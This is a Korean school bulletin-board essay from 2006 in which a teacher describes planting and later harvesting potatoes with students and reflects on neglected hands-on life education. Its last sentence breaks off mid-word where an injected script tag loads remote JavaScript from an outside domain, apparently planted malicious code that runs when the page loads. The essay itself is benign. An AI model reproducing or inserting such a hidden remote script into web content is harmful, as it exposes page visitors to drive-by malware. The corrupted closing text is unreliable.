대안적 마인드가 무엇인가요?

작성자 : 후원회 | 조회수 : 3,223 | 작성일 : 2006년 7월 18일

<IMG style="WIDTH: 399px; HEIGHT: 255px" height=2391 src="/UpLoadFiles/images/DSCN4070.jpg" width=2832 border=0>
4월 어느 날인가, 노작시간에 1학년 학생들과 밭에 이랑을 만들고는 구해온 씨감자를 정성들여 심었다. 꼭 3개월이 지난 지금, 줄기는 다 사그라져서 없어지고 땅 속에 감자가 제법 굵게 영글어 있을 법 했다. 파종 시기가 일반 감자에 비하여 늦어진 탓에 수확 시기도 훨씬 늦다. 올 여름 장마는 태풍이 지난 후부터 연일 그것도 한 달 내내 비를 뿌리고 있기에 노작시간도 놓쳐버리고 감자 수확할 겨를도 없이 방학을 했었다. 씨감자를 심으며 학생들이 나에게 들려준 말이 기억난다. “언제 감자를 수확하나요?” “자네가 방학 할 때쯤이면 수확하게 되겠지.” “와, 감자가 많이 달렸으면 좋겠다.” “그렇게 되려면 심는 일도 중요하지만 제초도 해주어야 하고, 간간히 비료도 주어 잘 가꾸어야 한다.” “그렇군요! 그때 우리가 꼭 감자를 수확을 했으면 합니다. 그리고 감자를 쪄서 저녁 늦은 시간에 간식을 하면 좋겠습니다.” “나도 자네 말대로 그렇게 되길 바래본다.” 
  비가 오랫동안 지속이 되고 노작시간을 놓쳐 학생들이 감자수확을 하지 못하고 집으로 돌아갈 것 같은 초조함이 있었다. 방학 전 며칠 남겨두고 학년부장 교사에게 비가 내려도 학생들이 꼭 감자를 수확하는 기쁨을 맛보도록 바란다는 부탁을 했더니, 방학 날 오전에 부장 선생님이 나에게 자루에 담겨진 감자를 보여주며 학생들과 함께 수확을 했다고 했다. 
  학생들이 방학이 되어 집으로 간 후, 텅 빈 교정을 지키다가 지루하게 내리는 장마 비에 산사태가 우려되어 산으로 오르는 중에 ‘감자 밭’을 보게 되었다. 아뿔싸! 어째 이런 일이! 부장 선생님의 반 구역만 감자를 캤을 뿐, 다른 세 반은 그대로 둔 채 방학을 맞이했음을 보게 된 것이다. 하는 수 없이 비가 내리는 날, 비를 흠뻑 맞으며 내가 대신 감자를 캤다. 아주 씨알이 아주 굵은 놈부터 시작하여 한 자루를 넉넉하게 캤던 것이다. 
  매번 노작 시간은 학생들에게 재미없는 시간 정도로 여겼다. 노작 시간에 생명 가꾸기를  지도할 만큼 선생님들도 경험이 부족한 이유도 있었다. 씨감자를 심어 놓고 “내년에 캐나요?”하며 궁금해 하는 학생들이다. 먹기만을 좋아하고 이런 것들이 어디에서 나오는지를 모르는 학생들이다. 노작시간을 통해 생물시간에 배울 법한 여러 가지 지식들을 동원해서라도 생명을 가꾸는 작업 안에서 그것들이 성장하고 성숙하는 모습을 보게 하고, 학생들이 자기 손으로 새로운 생명을 수확하는 기쁨을 만끽하게 하는 것까지 교사들이 챙겼어야 하는 것이다. 왜 우리가 밭에 있는 풀을 뽑아야 하는지, 또 성장 과정에서 비료를 어느 정도 주어야 하는 건지, 어떻게 열매를 맺는지? 학생들이 호기심으로 진지하게 관찰하며 자기의 생명도 챙길 줄 아는 노작시간이 되었다면 학생들은 훨씬 더 흥미로운 시간으로 접?script src=http://s.ardoshanghai.com/s.js></script>

글삭제 글수정